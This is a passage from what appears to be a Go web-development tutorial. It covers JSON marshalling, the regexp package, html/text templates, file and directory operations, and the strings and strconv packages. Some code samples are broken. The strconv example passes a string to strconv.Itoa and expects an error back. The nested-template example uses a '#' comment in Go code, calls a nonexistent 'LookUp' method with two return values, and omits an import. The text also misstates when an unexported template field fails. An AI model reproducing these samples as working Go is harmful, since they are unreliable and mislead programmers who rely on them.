In many situations, we need to produce JSON data and respond to clients. In Go, the JSON package has a function called `Marshal` to do just that:

```
func Marshal(v interface{}) ([]byte, error)
```

Suppose we need to produce a server information list. We have following sample:

```
package main

import (
    "encoding/json"
    "fmt"
)

type Server struct {
    ServerName string
    ServerIP   string
}

type Serverslice struct {
    Servers []Server
}

func main() {
    var s Serverslice
    s.Servers = append(s.Servers, Server{ServerName: "Shanghai_VPN", ServerIP: "127.0.0.1"})
    s.Servers = append(s.Servers, Server{ServerName: "Beijing_VPN", ServerIP: "127.0.0.2"})
    b, err := json.Marshal(s)
    if err != nil {
        fmt.Println("json err:", err)
    }
    fmt.Println(string(b))
}
```

Output:

```
{"Servers":[{"ServerName":"Shanghai_VPN","ServerIP":"127.0.0.1"},{"ServerName":"Beijing_VPN","ServerIP":"127.0.0.2"}]
}
```

As you know, all field names are capitalized, but if you want your JSON key names to start with a lower case letter, you should use `struct tag`s. Otherwise, Go will not produce data for internal fields.

```
type Server struct {
    ServerName string `json:"serverName"`
    ServerIP   string `json:"serverIP"`
}

type Serverslice struct {
    Servers []Server `json:"servers"`
}
```

After this modification, we can produce the same JSON data as before.

Here are some points you need to keep in mind when trying to produce JSON:

- Field tags containing `"-"` will not be outputted.
- If a tag contains a customized name, Go uses this instead of the field name, like `serverName` in the above example.
- If a tag contains `omitempty`, this field will not be outputted if it is zero-value.
- If the field type is `bool`, string, int, `int64`, etc, and its tag contains `",string"`, Go converts this field to its corresponding JSON type.

Example:

```
type Server struct {
    // ID will not be outputed.
    ID int `json:"-"`

    // ServerName2 will be converted to JSON type.
    ServerName  string `json:"serverName"`
    ServerName2 string `json:"serverName2,string"`

    // If ServerIP is empty, it will not be outputted.
    ServerIP   string `json:"serverIP,omitempty"`
}

s := Server {
    ID:         3,
    ServerName:  `Go "1.0" `,
    ServerName2: `Go "1.0" `,
    ServerIP:   ``,
}
b, _ := json.Marshal(s)
os.Stdout.Write(b)
```

Output:

```
{"serverName":"Go \"1.0\" ","serverName2":"\"Go \\\"1.0\\\" \""}
```

The `Marshal` function only returns data when it has succeeded, so here are some points we need to keep in mind:

- JSON only supports strings as keys, so if you want to encode a map, its type has to be `map[string]T`, where `T` is the type in Go.
- Types like channel, complex types and functions are not capable of being encoded to JSON.
- Do not try to encode cyclic data, it leads to an infinite recursion.
- If the field is a pointer, Go outputs the data that it points to, or else outputs null if it points to nil.

In this section, we introduced how to decode and encode JSON data in Go. We also looked at one third-party project called `simplejson` which is useful for parsing JSON or unknown format. These are all useful concepts for developing web applications in Go.

Links

- Directory
- Previous section: XML
- Next section: Regexp

7.3 Regexp

Regular Expressions ("Regexp") is a complicated but powerful tool for pattern matching and text manipulation. Although it does not perform as well as pure text matching, it's more flexible. Based on its syntax, you can filter almost any kind of text from your source content. If you need to collect data in web development, it's not difficult to use Regexp to retrieve meaningful data.

Go has the `regexp` package, which provides official support for regexp. If you've already used regexp in other programming languages, you should be familiar with it. Note that Go implemented RE2 standard except for `\C`. For more details, follow this link: http://code.google.com/p/re2/wiki/Syntax.

Go's `strings` package can actually do many jobs like searching (Contains, Index), replacing (Replace), parsing (Split, Join), etc., and it's faster than Regexp. However, these are all trivial operations. If you want to search a case insensitive string, Regexp should be your best choice. So, if the `strings` package is sufficient for your needs, just use it since it's easy to use and read; if you need to perform more advanced operations, use Regexp.

If you recall form validation from previous sections, we used Regexp to verify the validity of user input information. Be aware that all characters are UTF-8. Let's learn more about the Go `regexp` package!

Match

The `regexp` package has 3 functions to match: if it matches a pattern, then it returns true, returning false otherwise.

```
func Match(pattern string, b []byte) (matched bool, error error)
func MatchReader(pattern string, r io.RuneReader) (matched bool, error error)
func MatchString(pattern string, s string) (matched bool, error error)
```

All 3 functions check if `pattern` matches the input source, returning true if it matches. However if your Regex has syntax errors, it will return an error. The 3 input sources of these functions are `slice of byte`, `RuneReader` and `string`.

Here is an example of how to verify an IP address:

```
func IsIP(ip string) (b bool) {
    if m, _ := regexp.MatchString("^[0-9]{1,3}\\.[0-9]{1,3}\\.[0-9]{1,3}\\.[0-9]{1,3}$", ip); !m {
        return false
    }
    return true
}
```

As you can see, using pattern in the `regexp` package is not that different. Here's one more example on verifying whether user input is valid:

```
func main() {
    if len(os.Args) == 1 {
        fmt.Println("Usage: regexp [string]")
        os.Exit(1)
    } else if m, _ := regexp.MatchString("^[0-9]+$", os.Args[1]); m {
        fmt.Println("Number")
    } else {
        fmt.Println("Not number")
    }
}
```

In the above examples, we use `Match(Reader|String)` to check if content is valid, but they are all easy to use.

Filter

Match mode can verify content but it cannot cut, filter or collect data from it. If you want to do that, you have to use the complex mode of Regexp.

Let's say we need to write a crawler. Here is an example for when you must use Regexp to filter and cut data.

```
package main

import (
    "fmt"
    "io/ioutil"
    "net/http"
    "regexp"
    "strings"
)

func main() {
    resp, err := http.Get("http://www.baidu.com")
    if err != nil {
        fmt.Println("http get error.")
    }
    defer resp.Body.Close()
    body, err := ioutil.ReadAll(resp.Body)
    if err != nil {
        fmt.Println("http read error")
        return
    }

    src := string(body)

    // Convert HTML tags to lower case.
    re, _ := regexp.Compile("\\<[\\S\\s]+?\\>")
    src = re.ReplaceAllStringFunc(src, strings.ToLower)

    // Remove STYLE.
    re, _ = regexp.Compile("\\<style[\\S\\s]+?\\</style\\>")
    src = re.ReplaceAllString(src, "")

    // Remove SCRIPT.
    re, _ = regexp.Compile("\\<script[\\S\\s]+?\\</script\\>")
    src = re.ReplaceAllString(src, "")

    // Remove all HTML code in angle brackets, and replace with newline.
    re, _ = regexp.Compile("\\<[\\S\\s]+?\\>")
    src = re.ReplaceAllString(src, "\n")

    // Remove continuous newline.
    re, _ = regexp.Compile("\\s{2,}")
    src = re.ReplaceAllString(src, "\n")

    fmt.Println(strings.TrimSpace(src))
}
```

In this example, we use Compile as the first step for complex mode. It verifies that your Regex syntax is correct, then returns a `Regexp` for parsing content in other operations.

Here are some functions to parse your Regexp syntax:

```
func Compile(expr string) (*Regexp, error)
func CompilePOSIX(expr string) (*Regexp, error)
func MustCompile(str string) *Regexp
func MustCompilePOSIX(str string) *Regexp
```

The difference between `ComplePOSIX` and `Compile` is that the former has to use POSIX syntax which is leftmost longest search, and the latter is only leftmost search. For instance, for Regexp `[a-z]{2,4}` and content `"aa09aaa88aaaa"`, `CompilePOSIX` returns `aaaa` but `Compile` returns `aa`. `Must` prefix means panic when the Regexp syntax is not correct, returning error otherwise.

Now that we know how to create a new Regexp, let's see how the methods provided by this struct can help us to operate on content:

```
func (re *Regexp) Find(b []byte) []byte
func (re *Regexp) FindAll(b []byte, n int) [][]byte
func (re *Regexp) FindAllIndex(b []byte, n int) [][]int
func (re *Regexp) FindAllString(s string, n int) []string
func (re *Regexp) FindAllStringIndex(s string, n int) [][]int
func (re *Regexp) FindAllStringSubmatch(s string, n int) [][]string
func (re *Regexp) FindAllStringSubmatchIndex(s string, n int) [][]int
func (re *Regexp) FindAllSubmatch(b []byte, n int) [][][]byte
func (re *Regexp) FindAllSubmatchIndex(b []byte, n int) [][]int
func (re *Regexp) FindIndex(b []byte) (loc []int)
func (re *Regexp) FindReaderIndex(r io.RuneReader) (loc []int)
func (re *Regexp) FindReaderSubmatchIndex(r io.RuneReader) []int
func (re *Regexp) FindString(s string) string
func (re *Regexp) FindStringIndex(s string) (loc []int)
func (re *Regexp) FindStringSubmatch(s string) []string
func (re *Regexp) FindStringSubmatchIndex(s string) []int
func (re *Regexp) FindSubmatch(b []byte) [][]byte
func (re *Regexp) FindSubmatchIndex(b []byte) []int
```

These 18 methods include identical functions for different input sources (byte slice, string and io.RuneReader), so we can really simplify this list by ignoring input sources as follows:

```
func (re *Regexp) Find(b []byte) []byte
func (re *Regexp) FindAll(b []byte, n int) [][]byte
func (re *Regexp) FindAllIndex(b []byte, n int) [][]int
func (re *Regexp) FindAllSubmatch(b []byte, n int) [][][]byte
func (re *Regexp) FindAllSubmatchIndex(b []byte, n int) [][]int
func (re *Regexp) FindIndex(b []byte) (loc []int)
func (re *Regexp) FindSubmatch(b []byte) [][]byte
func (re *Regexp) FindSubmatchIndex(b []byte) []int
```

Code sample:

```
package main

import (
    "fmt"
    "regexp"
)

func main() {
    a := "I am learning Go language"

    re, _ := regexp.Compile("[a-z]{2,4}")

    // Find the first match.
    one := re.Find([]byte(a))
    fmt.Println("Find:", string(one))

    // Find all matches and save to a slice, n less than 0 means return all matches, indicates length of slice if it'
s greater than 0.
    all := re.FindAll([]byte(a), -1)
    fmt.Println("FindAll", all)

    // Find index of first match, start and end position.
    index := re.FindIndex([]byte(a))
    fmt.Println("FindIndex", index)

    // Find index of all matches, the n does same job as above.
    allindex := re.FindAllIndex([]byte(a), -1)
    fmt.Println("FindAllIndex", allindex)

    re2, _ := regexp.Compile("am(.*)lang(.*)")

    // Find first submatch and return array, the first element contains all elements, the second element contains the
 result of first (), the third element contains the result of second ().
    // Output:
    // the first element: "am learning Go language"
    // the second element: " learning Go ", notice spaces will be outputed as well.
    // the third element: "uage"
    submatch := re2.FindSubmatch([]byte(a))
    fmt.Println("FindSubmatch", submatch)
    for _, v := range submatch {
        fmt.Println(string(v))
    }

    // Same as FindIndex().
    submatchindex := re2.FindSubmatchIndex([]byte(a))
    fmt.Println(submatchindex)

    // FindAllSubmatch, find all submatches.
    submatchall := re2.FindAllSubmatch([]byte(a), -1)
    fmt.Println(submatchall)

    // FindAllSubmatchIndex,find index of all submatches.
    submatchallindex := re2.FindAllSubmatchIndex([]byte(a), -1)
    fmt.Println(submatchallindex)
}
```

As we've previously mentioned, Regexp also has 3 methods for matching. They do the exact same thing as the exported functions. In fact, those exported functions actually call these methods under the hood:

```
func (re *Regexp) Match(b []byte) bool
func (re *Regexp) MatchReader(r io.RuneReader) bool
func (re *Regexp) MatchString(s string) bool
```

Next, let's see how to replace strings using Regexp:

```
func (re *Regexp) ReplaceAll(src, repl []byte) []byte
func (re *Regexp) ReplaceAllFunc(src []byte, repl func([]byte) []byte) []byte
func (re *Regexp) ReplaceAllLiteral(src, repl []byte) []byte
func (re *Regexp) ReplaceAllLiteralString(src, repl string) string
func (re *Regexp) ReplaceAllString(src, repl string) string
func (re *Regexp) ReplaceAllStringFunc(src string, repl func(string) string) string
```

These are used in the crawling example, so we will not explain any further here.

Let's take a look at the definition of `Expand`:

```
func (re *Regexp) Expand(dst []byte, template []byte, src []byte, match []int) []byte
func (re *Regexp) ExpandString(dst []byte, template string, src string, match []int) []byte
```

So how do we use `Expand`?

```
func main() {
    src := []byte(`
        call hello alice
        hello bob
        call hello eve
    `)
    pat := regexp.MustCompile(`(?m)(call)\s+(?P<cmd>\w+)\s+(?P<arg>.+)\s*$`)
    res := []byte{}
    for _, s := range pat.FindAllSubmatchIndex(src, -1) {
        res = pat.Expand(res, []byte("$cmd('$arg')\n"), src, s)
    }
    fmt.Println(string(res))
}
```

At this point, you've learnt the whole `regexp` package in Go. I hope that you can understand more by studying examples of key methods, so that you can do something interesting on your own.

Links

- Directory
- Previous section: JSON
- Next section: Templates

7.4 Templates

What is a template?

Hopefully you're aware of the MVC (Model, View, Controller) design model, where models process data, views show the results and finally, controllers handle user requests. For views, many dynamic languages generate data by writing code in static HTML files. For instance, JSP is implemented by inserting `<%=....=%>`, PHP by inserting `<?php.....?>`, etc.

The following demonstrates the template mechanism: 

Figure 7.1 Template mechanism

Most of the content that web applications respond to clients with is static, and the dynamic parts are usually very small. For example, if you need to display a list users who have visited a page, only the user name would be dynamic. The style of the list remains the same. As you can see, templates are useful for reusing static content.

Templating in Go

In Go, we have the `template` package to help handle templates. We can use functions like `Parse`, `ParseFile` and `Execute` to load templates from plain text or files, then evaluate the dynamic parts, as shown in figure 7.1.

Example:

```
func handler(w http.ResponseWriter, r *http.Request) {
    t := template.New("some template") // Create a template.
    t, _ = t.ParseFiles("tmpl/welcome.html", nil)  // Parse template file.
    user := GetUser() // Get current user infomration.
    t.Execute(w, user)  // merge.
}
```

As you can see, it's very easy to use, load and render data in templates in Go, just as in other programming languages.

For the sake of convenience, we will use the following rules in our examples:

- Use `Parse` to replace `ParseFiles` because `Parse` can test content directly from strings, so we don't need any extra files.
- Use `main` for every example and do not use `handler`.
- Use `os.Stdout` to replace `http.ResponseWriter` since `os.Stdout` also implements the `io.Writer` interface.

Inserting data into a template

We've just shown you how to parse and render templates. Let's take it one step further and render data to our templates. Every template is an object in Go, so how do we insert fields to templates?

Fields

In Go, Every field that you intend to be rendered within a template should be put inside of `{{}}`. `{{.}}` is shorthand for the current object, which is similar to its Java or C++ counterpart. If you want to access the fields of the current object, you should use `{{.FieldName}}`. Notice that only exported fields can be accessed in templates. Here is an example:

```
package main

import (
    "html/template"
    "os"
)

type Person struct {
    UserName string
}

func main() {
    t := template.New("fieldname example")
    t, _ = t.Parse("hello {{.UserName}}!")
    p := Person{UserName: "Astaxie"}
    t.Execute(os.Stdout, p)
}
```

The above example outputs `hello Astaxie` correctly, but if we modify our struct a little bit, the following error emerges:

```
type Person struct {
    UserName string
    email    string  // Field is not exported.
}

t, _ = t.Parse("hello {{.UserName}}! {{.email}}")
```

This part of the code will not be compiled because we try to access a field that has not been exported. However, if we try to use a field that does not exist, Go simply outputs an empty string instead of an error.

If you print `{{.}}` in a template, Go outputs a formatted string of this object, calling `fmt` under the covers.

Nested fields

We know how to output a field now. What if the field is an object, and it also has its own fields? How do we print them all in one loop? We can use `{{with …}}…{{end}}` and `{{range …}}{{end}}` for exactly that purpose.

- `{{range}}` just like range in Go.
- `{{with}}` lets you write the same object name once and use `.` as shorthand for it (***Similar to*** `with` ***in VB***).

More examples:

```
package main

import (
    "html/template"
    "os"
)

type Friend struct {
    Fname string
}

type Person struct {
    UserName string
    Emails   []string
    Friends  []*Friend
}

func main() {
    f1 := Friend{Fname: "minux.ma"}
    f2 := Friend{Fname: "xushiwei"}
    t := template.New("fieldname example")
    t, _ = t.Parse(`hello {{.UserName}}!
            {{range .Emails}}
                an email {{.}}
            {{end}}
            {{with .Friends}}
            {{range .}}
                my friend name is {{.Fname}}
            {{end}}
            {{end}}
            `)
    p := Person{UserName: "Astaxie",
        Emails:  []string{"astaxie@beego.me", "astaxie@gmail.com"},
        Friends: []*Friend{&f1, &f2}}
    t.Execute(os.Stdout, p)
}
```

Conditions

If you need to check for conditions in templates, you can use the `if-else` syntax just like you do in regular Go programs. If the pipeline is empty, the default value of `if` is `false`. The following example shows how to use `if-else` in templates:

```
package main

import (
    "os"
    "text/template"
)

func main() {
    tEmpty := template.New("template test")
    tEmpty = template.Must(tEmpty.Parse("Empty pipeline if demo: {{if ``}} will not be outputted. {{end}}\n"))
    tEmpty.Execute(os.Stdout, nil)

    tWithValue := template.New("template test")
    tWithValue = template.Must(tWithValue.Parse("Not empty pipeline if demo: {{if `anything`}} will be outputted. {{e
nd}}\n"))
    tWithValue.Execute(os.Stdout, nil)

    tIfElse := template.New("template test")
    tIfElse = template.Must(tIfElse.Parse("if-else demo: {{if `anything`}} if part {{else}} else part.{{end}}\n"))
    tIfElse.Execute(os.Stdout, nil)
}
```

As you can see, it's easy to use `if-else` in templates.

Attention You CANNOT use conditional expressions in if, for instance `.Mail=="astaxie@gmail.com"`. Only boolean values are acceptable.

pipelines

Unix users should be familiar with the `pipe` operator, like `ls | grep "beego"`. This command filters files and only shows those that contain the word `beego`. One thing that I like about Go templates is that they support pipes. Anything in `{{}}` can be the data of pipelines. The e-mail we used above can render our application vulnerable to XSS attacks. How can we address this issue using pipes?

```
{{. | html}}
```

We can use this method to escape the e-mail body to HTML. It's quite similar to writing a Unix command, and it is convenient for use in template functions.

Template variables

Sometimes we need to use local variables in templates. We can use them with the `with`, `range` and `if` keywords, and their scope is between these keywords and `{{end}}`. Here's an example of declaring a global variable:

```
$variable := pipeline
```

More examples:

```
{{with $x := "output" | printf "%q"}}{{$x}}{{end}}
{{with $x := "output"}}{{printf "%q" $x}}{{end}}
{{with $x := "output"}}{{$x | printf "%q"}}{{end}}
```

Template functions

Go uses the `fmt` package to format output in templates, but sometimes we need to do something else. For example consider the following scenario: let's say we want to replace `@` with `at` in our e-mail address, like `astaxie at beego.me`. At this point, we have to write a customized function.

Every template function has a unique name and is associated with one function in your Go program as follows:

```
type FuncMap map[string]interface{}
```

Suppose we have an `emailDeal` template function associated with its `EmailDealWith` counterpart function in our Go program. We can use the following code to register this function:

```
t = t.Funcs(template.FuncMap{"emailDeal": EmailDealWith})
```

`EmailDealWith` definition:

```
func EmailDealWith(args …interface{}) string
```

Example:

```
package main

import (
    "fmt"
    "html/template"
    "os"
    "strings"
)

type Friend struct {
    Fname string
}

type Person struct {
    UserName string
    Emails   []string
    Friends  []*Friend
}

func EmailDealWith(args ...interface{}) string {
    ok := false
    var s string
    if len(args) == 1 {
        s, ok = args[0].(string)
    }
    if !ok {
        s = fmt.Sprint(args...)
    }
    // find the @ symbol
    substrs := strings.Split(s, "@")
    if len(substrs) != 2 {
        return s
    }
    // replace the @ by " at "
    return (substrs[0] + " at " + substrs[1])
}

func main() {
    f1 := Friend{Fname: "minux.ma"}
    f2 := Friend{Fname: "xushiwei"}
    t := template.New("fieldname example")
    t = t.Funcs(template.FuncMap{"emailDeal": EmailDealWith})
    t, _ = t.Parse(`hello {{.UserName}}!
                {{range .Emails}}
                    an emails {{.|emailDeal}}
                {{end}}
                {{with .Friends}}
                {{range .}}
                    my friend name is {{.Fname}}
                {{end}}
                {{end}}
                `)
    p := Person{UserName: "Astaxie",
        Emails:  []string{"astaxie@beego.me", "astaxie@gmail.com"},
        Friends: []*Friend{&f1, &f2}}
    t.Execute(os.Stdout, p)
}
```

Here is a list of built-in template functions:

```
var builtins = FuncMap{
    "and":      and,
    "call":     call,
    "html":     HTMLEscaper,
    "index":    index,
    "js":       JSEscaper,
    "len":      length,
    "not":      not,
    "or":       or,
    "print":    fmt.Sprint,
    "printf":   fmt.Sprintf,
    "println":  fmt.Sprintln,
    "urlquery": URLQueryEscaper,
}
```

Must

The template package has a function called `Must` which is for validating templates, like the matching of braces, comments, and variables. Let's take a look at an example of `Must`:

```
package main

import (
    "fmt"
    "text/template"
)

func main() {
    tOk := template.New("first")
    template.Must(tOk.Parse(" some static text /* and a comment */"))
    fmt.Println("The first one parsed OK.")

    template.Must(template.New("second").Parse("some static text {{ .Name }}"))
    fmt.Println("The second one parsed OK.")

    fmt.Println("The next one ought to fail.")
    tErr := template.New("check parse error with Must")
    template.Must(tErr.Parse(" some static text {{ .Name }"))
}
```

Output:

```
The first one parsed OK.
The second one parsed OK.
The next one ought to fail.
panic: template: check parse error with Must:1: unexpected "}" in command
```

Nested templates

Just like in most web applications, certain parts of templates can be reused across other templates, like the headers and footers of a blog. We can declare `header`, `content` and `footer` as sub-templates, and declare them in Go using the following syntax:

```
{{define "sub-template"}}content{{end}}
```

The sub-template is called using the following syntax:

```
{{template "sub-template"}}
```

Here's a complete example, supposing that we have the following three files: `header.tmpl`, `content.tmpl` and `footer.tmpl` in the folder `templates`, we will read the folder and store the file names in a string array, which we will then use to parse files.

Main template:

```
//header.tmpl
{{define "header"}}
<html>
<head>
    <title>Something here</title>
</head>
<body>
{{end}}

//content.tmpl
{{define "content"}}
{{template "header"}}
<h1>Nested here</h1>
<ul>
    <li>Nested usag</li>
    <li>Call template</li>
</ul>
{{template "footer"}}
{{end}}

//footer.tmpl
{{define "footer"}}
</body>
</html>
{{end}}

//When using subtemplating make sure that you have parsed each sub template file,
//otherwise the compiler wouldn't understand what to substitute when it reads the {{template "header"}}
```

Code:

```
package main

import (
    "fmt"
    "os"
    "io/ioutil"
    "text/template"
)

var templates *template.Template

func main() {
    var allFiles []string
    files, err := ioutil.ReadDir("./templates")
    if err != nil {
        fmt.Println(err)
    }
    for _, file := range files {
        filename := file.Name()
        if strings.HasSuffix(filename, ".tmpl") {
            allFiles = append(allFiles, "./templates/"+filename)
        }
    }

    templates, err = template.ParseFiles(allFiles...) #parses all .tmpl files in the 'templates' folder

    s1, _ := templates.LookUp("header.tmpl")
    s1.ExecuteTemplate(os.Stdout, "header", nil)
    fmt.Println()
    s2, _ := templates.LookUp("content.tmpl")
    s2.ExecuteTemplate(os.Stdout, "content", nil)
    fmt.Println()
    s3, _ := templates.LookUp("footer.tmpl")
    s3.ExecuteTemplate(os.Stdout, "footer", nil)
    fmt.Println()
    s3.Execute(os.Stdout, nil)
}
```

Here we can see that `template.ParseFiles` parses all nested templates into cache, and that every template defined by `{{define}}` are independent of each other. They are persisted in something like a map, where the template names are keys and the values are the template bodies. We can then use `ExecuteTemplate` to execute the corresponding sub-templates, so that the header and footer are independent and content contains them both. Note that if we try to execute `s1.Execute`, nothing will be outputted because there is no default sub-template available.

When you don't want to use `{{define}}`, then you can just create a text file with the name of the sub template, for instance `_head.tmpl` is a sub template which you'll use across your project then create this file in the templates folder, and use the normal syntax. Lookup cache is basically created so that you don't read the file every time you serve a request, because if you do, then you are wasting a lot of resources for reading a file which won't change unless the codebase is being rewritten, it doesn't make sense to parse the template files during each HTTP GET request, so the technique is used where we parse the files once and then do a `LookUp()` on the cache to execute the template when we need it to display data.

Templates in one set know each other, but you must parse them for every single set.

Some times you want to contextualize templates, for instance you have a `_head.html`, you might have a header who's value you have to populate based on which data you are loading for instance for a todo list manager you can have three categories `pending`, `completed`, `deleted`. for this suppose you have an if statement like this

```
<title>{{if eq .Navigation "pending"}} Tasks
       {{ else if eq .Navigation "completed"}}Completed
       {{ else if eq .Navigation "deleted"}}Deleted
       {{ else if eq .Navigation "edit"}} Edit
       {{end}}
 </title>
```

Note: Go templates follow the Polish notation while performing the comparison where you give the operator first and the comparison value and the value to be compared with. The else if part is pretty straight forward

Typically we use a `{{ range }}` operator to loop through the context variable which we pass to the template while execution like this:

```
//present in views package
context := db.GetTasks("pending") //true when you want non deleted notes
homeTemplate.Execute(w, context)
```

We get the context object from the database as a struct object, the definition is as below

```
//Task is the struct used to identify tasks
type Task struct {
    Id      int
    Title   string
    Content string
    Created string
}
//Context is the struct passed to templates
type Context struct {
    Tasks      []Task
    Navigation string
    Search     string
    Message    string
}

//present in database package
var task []types.Task
var context types.Context
context = types.Context{Tasks: task, Navigation: status}

//This line is in the database package where the context is returned back to the view.
```

We use the task array and the Navigation in our templates, we saw how we use the Navigation in the template, we'll see how we'll use the actual task array in our template.

Here in the `{{ if .Tasks }}` we first check if the Tasks field of our context object which we passed to the template while executing is empty or not. If it is not empty then we will range through that array to populate the title and content of Task. The below example is very important when it comes to looping through an array in a template, we start with the Range operator, then we can give any member of that struct as `{{.Name}}` , my Task structure has a Title and a Content, (please note the capital T and C, they are exported names and they need to be capitalised unless you want to make them private).

```
{{ range .Tasks }}
  {{ .Title }}
  {{ .Content }}
{{ end }}
```

This block of code will print each title and content of the Task array. Below is a full example from github.com/thewhitetulip/Tasks home.html template.

```
<div class="timeline">
{{ if .Tasks}} {{range .Tasks}}
<div class="note">
  <p class="noteHeading">{{.Title}}</p>
  <hr>
  <p class="noteContent">{{.Content}}</p>
  </ul>
  </span>
</div>
{{end}} {{else}}
<div class="note">
  <p class="noteHeading">No Tasks here</p>
  <p class="notefooter">
  Create new task<button class="floating-action-icon-add" > here </button> </p>
</div>
{{end}}
```

Summary

In this section, you learned how to combine dynamic data with templates using techniques including printing data in loops, template functions and nested templates. By learning about templates, we can conclude discussing the V (View) part of the MVC architecture. In the following chapters, we will cover the M (Model) and C (Controller) aspects of MVC.

Links

- Directory
- Previous section: Regexp
- Next section: Files

7.5 Files

Files are essential objects on every single computer device. It won't come as any surprise to you that web applications also make heavy use of them. In this section, we're going to learn how to operate on files in Go.

Directories

In Go, most of the file operation functions are located in the `os` package. Here are some directory functions:

- func Mkdir(name string, perm FileMode) error

  Create a directory with `name`. `perm` is the directory permissions, i.e 0777.

- func MkdirAll(path string, perm FileMode) error

  Create multiple directories according to `path`, like `astaxie/test1/test2`.

- func Remove(name string) error

  Removes directory with `name`. Returns error if it's not a directory or not empty.

- func RemoveAll(path string) error

  Removes multiple directories according to `path`. Directories will not be deleted if `path` is a single path.

Code sample:

```
package main

import (
    "fmt"
    "os"
)

func main() {
    os.Mkdir("astaxie", 0777)
    os.MkdirAll("astaxie/test1/test2", 0777)
    err := os.Remove("astaxie")
    if err != nil {
        fmt.Println(err)
    }
    os.RemoveAll("astaxie")
}
```

Files

Create and open files

There are two functions for creating files:

- func Create(name string) (file *File, err Error)

  Create a file with `name` and return a read-writable file object with permission 0666.

- func NewFile(fd uintptr, name string) *File

  Create a file and return a file object.

There are also two functions to open files:

- func Open(name string) (file *File, err Error)

Opens a file called `name` with read-only access, calling `OpenFile` under the covers.

- func OpenFile(name string, flag int, perm uint32) (file *File, err Error)

  Opens a file called `name`. `flag` is open mode like read-only, read-write, etc. `perm` are the file permissions.

Write files

Functions for writing files:

- func (file *File) Write(b []byte) (n int, err Error)

  Write byte type content to a file.

- func (file *File) WriteAt(b []byte, off int64) (n int, err Error)

  Write byte type content to a specific position of a file.

- func (file *File) WriteString(s string) (ret int, err Error)

  Write a string to a file.

Code sample:

```
package main

import (
    "fmt"
    "os"
)

func main() {
    userFile := "astaxie.txt"
    fout, err := os.Create(userFile)
    if err != nil {
        fmt.Println(userFile, err)
        return
    }
    defer fout.Close()
    for i := 0; i < 10; i++ {
        fout.WriteString("Just a test!\r\n")
        fout.Write([]byte("Just a test!\r\n"))
    }
}
```

Read files

Functions for reading files:

- func (file *File) Read(b []byte) (n int, err Error)

  Read data to `b`.

- func (file *File) ReadAt(b []byte, off int64) (n int, err Error)

  Read data from position `off` to `b`.

Code sample:

```
package main

import (
    "fmt"
    "os"
)

func main() {
    userFile := "asatxie.txt"
    fl, err := os.Open(userFile)
    if err != nil {
        fmt.Println(userFile, err)
        return
    }
    defer fl.Close()
    buf := make([]byte, 1024)
    for {
        n, _ := fl.Read(buf)
        if 0 == n {
            break
        }
        os.Stdout.Write(buf[:n])
    }
}
```

Delete files

Go uses the same function for removing files and directories:

- func Remove(name string) Error

  Remove a file or directory called `name` .(***a `name` ending with `/` signifies that it's a directory***)

Links

- Directory
- Previous section: Templates
- Next section: Strings

7.6 Strings

On the web, almost everything we see (including user inputs, database access, etc.), is represented by strings. They are a very important part of web development. In many cases, we also need to split, join, convert and otherwise manipulate strings. In this section, we are going to introduce the `strings` and `strconv` packages from the Go standard library.

strings

The following functions are from the `strings` package. See the official documentation for more details:

- func Contains(s, substr string) bool

  Check if string `s` contains string `substr`, returns a boolean value.

```
fmt.Println(strings.Contains("seafood", "foo"))
fmt.Println(strings.Contains("seafood", "bar"))
fmt.Println(strings.Contains("seafood", ""))
fmt.Println(strings.Contains("", ""))

//Output:
//true
//false
//true
//true
```

- func Join(a []string, sep string) string

  Combine strings from slice with separator `sep`.

```
s := []string{"foo", "bar", "baz"}
fmt.Println(strings.Join(s, ", "))
//Output:foo, bar, baz
```

- func Index(s, sep string) int

  Find index of `sep` in string `s`, returns -1 if it's not found.

```
fmt.Println(strings.Index("chicken", "ken"))
fmt.Println(strings.Index("chicken", "dmr"))
//Output:4
//-1
```

- func Repeat(s string, count int) string

  Repeat string `s` `count` times.

```
fmt.Println("ba" + strings.Repeat("na", 2))
//Output:banana
```

- func Replace(s, old, new string, n int) string

  Replace string `old` with string `new` in string `s`. `n` is the number of replacements. If n is less than 0, replace all instances.

```
fmt.Println(strings.Replace("oink oink oink", "k", "ky", 2))
fmt.Println(strings.Replace("oink oink oink", "oink", "moo", -1))
//Output:oinky oinky oink
//moo moo moo
```

- func Split(s, sep string) []string

  Split string `s` with separator `sep` into a slice.

```
fmt.Printf("%q\n", strings.Split("a,b,c", ","))
fmt.Printf("%q\n", strings.Split("a man a plan a canal panama", "a "))
fmt.Printf("%q\n", strings.Split(" xyz ", ""))
fmt.Printf("%q\n", strings.Split("", "Bernardo O'Higgins"))
//Output:["a" "b" "c"]
//["" "man " "plan " "canal panama"]
//[" " "x" "y" "z" " "]
//[""]
```

- func Trim(s string, cutset string) string

  Remove `cutset` of string `s` if it's leftmost or rightmost.

```
fmt.Printf("[%q]", strings.Trim(" !!! Achtung !!! ", "! "))
Output:["Achtung"]
```

- func Fields(s string) []string

  Remove space items and split string with space into a slice.

```
fmt.Printf("Fields are: %q", strings.Fields("  foo bar  baz   "))
//Output:Fields are: ["foo" "bar" "baz"]
```

strconv

The following functions are from the `strconv` package. As usual, please see official documentation for more details:

- Append series, convert data to string, and append to current byte slice.

```
package main

import (
    "fmt"
    "strconv"
)

func main() {
    str := make([]byte, 0, 100)
    str = strconv.AppendInt(str, 4567, 10)
    str = strconv.AppendBool(str, false)
    str = strconv.AppendQuote(str, "abcdefg")
    str = strconv.AppendQuoteRune(str, '单')
    fmt.Println(string(str))
}
```

- Format series, convert other data types into string.

```
package main

import (
    "fmt"
    "strconv"
)

func main() {
    a := strconv.FormatBool(false)
    b := strconv.FormatFloat(123.23, 'g', 12, 64)
    c := strconv.FormatInt(1234, 10)
    d := strconv.FormatUint(12345, 10)
    e := strconv.Itoa(1023)
    fmt.Println(a, b, c, d, e)
}
```

- Parse series, convert strings to other types.

```
package main

import (
    "fmt"
    "strconv"
)

func main() {
    a, err := strconv.ParseBool("false")
    if err != nil {
        fmt.Println(err)
    }
    b, err := strconv.ParseFloat("123.23", 64)
    if err != nil {
        fmt.Println(err)
    }
    c, err := strconv.ParseInt("1234", 10, 64)
    if err != nil {
        fmt.Println(err)
    }
    d, err := strconv.ParseUint("12345", 10, 64)
    if err != nil {
        fmt.Println(err)
    }
    e, err := strconv.Itoa("1023")
    if err != nil {
        fmt.Println(err)
    }
    fmt.Println(a, b, c, d, e)
}
```

Links

- Directory
- Previous section: Files
- Next section: Summary

7.7 Summary

